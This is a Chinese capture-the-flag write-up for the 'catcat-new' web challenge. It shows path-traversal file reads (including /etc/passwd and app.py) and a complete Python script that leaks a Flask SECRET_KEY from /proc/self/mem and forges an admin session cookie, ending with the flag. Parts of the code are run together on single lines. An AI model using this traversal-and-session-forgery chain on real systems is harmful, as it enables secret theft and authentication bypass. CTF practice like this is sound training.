文章目录
前言
任意文件读取漏洞是指攻击者通过在应用程序中输入非法的文件名或路径,从而获取未授权的文件读取权限的漏洞。攻击者可以利用此漏洞来读取系统文件、敏感数据或其他用户数据。这种漏洞通常是由于程序没有正确地检查用户的输入而引起的。建议开发人员在编写应用程序时进行严格的输入验证并使用安全的文件访问方法来避免此类漏洞的发生。
一、catcat-new
1.题目
2.答题
http://61.147.171.105:60014/info?file=ForestCat.txt
判断可能有任意文件读取漏洞。读取/etc/passwd文件
发现网站时flask框架,python编写的,读取app.py文件
http://61.147.171.105:62465/info?file=../app.py
发现读取成功:
import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat
flag =""
app = Flask(
__name__,
static_url_path='/',
static_folder='static')
app.config['SECRET_KEY']=str(uuid.uuid4()).replace("-","")+"*abcdefgh"#SECRET_KEY为uuid替换-为空后加上*abcdefgh。这里刻意的*abcdefgh是在提示我们secret key的格式if os.path.isfile("/flag"):
flag = cat("/flag")
os.remove("/flag")#这里读取flag后删掉了flag,防止之前任意文件读取出非预期解@app.route('/', methods=['GET'])defindex():
detailtxt = os.listdir('./details/')
cats_list =[]for i in detailtxt:
cats_list.append(i[:i.index('.')])return render_template("index.html", cats_list=cats_list, cat=cat)@app.route('/info', methods=["GET",'POST'])definfo():
filename ="./details/"+ request.args.get('file',"")
start = request.args.get('start',"0")
end = request.args.get('end',"0")
name = request.args.get('file',"")[:request.args.get('file',"").index('.')]return render_template("detail.html", catname=name, info=cat(filename, start, end))#cat是上面引用进来的函数@app.route('/admin', methods=["GET"])defadmin_can_list_root():if session.get('admin')==1:#session为admin就能得到flag,此处需要session伪造return flag
else:
session['admin']=0return"NoNoNo"if __name__ =='__main__':
app.run(host='0.0.0.0', debug=False, port=5637)
破解脚本
# coding=utf-8#----------------------------------####################################Edited by [email protected]####################################----------------------------------import requests
import re
import ast, sys
from abc import ABC
from flask.sessions import SecureCookieSessionInterface
url ="http://61.147.171.105:60014/"#此程序只能运行于Python3以上if sys.version_info[0]<3:# < 3.0raise Exception('Must be using at least Python 3')#----------------session 伪造,单独用也可以考虑这个库: https://github.com/noraj/flask-session-cookie-manager ----------------classMockApp(object):def__init__(self, secret_key):
self.secret_key = secret_key
classFSCM(ABC):defencode(secret_key, session_cookie_structure):#Encode a Flask session cookietry:
app = MockApp(secret_key)
session_cookie_structure =dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:return"[Encoding error] {}".format(e)raise e
#由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret key
s_key =""
bypass ="../.."#请求file路由进行读取
map_list = requests.get(url +f"info?file={bypass}/proc/self/maps")
map_list = map_list.text.split("\\n")for i in map_list:#匹配指定格式的地址
map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)if map_addr:
start =int(map_addr.group(1),16)
end =int(map_addr.group(2),16)print("Found rw addr:", start,"-", end)#设置起始和结束位置并读取/proc/self/mem
res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")#用到了之前特定的SECRET_KEY格式。如果发现*abcdefgh存在其中,说明成功泄露secretkeyif"*abcdefgh"in res.text:#正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefgh
secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)if secret_key:print("Secret Key:", secret_key[0])
s_key = secret_key[0]break#设置session中admin的值为1
data ='{"admin":1}'#伪造session
headers ={"Cookie":"session="+ FSCM.encode(s_key, data)}#请求admin路由try:
flag = requests.get(url +"admin", headers=headers)print("Flag is", flag.text)except:print("Something error")
得到flag:
catctf{Catch_the_c4t_HaHa}
版权归原作者 愚公搬代码 所有, 如有侵权,请联系我们删除。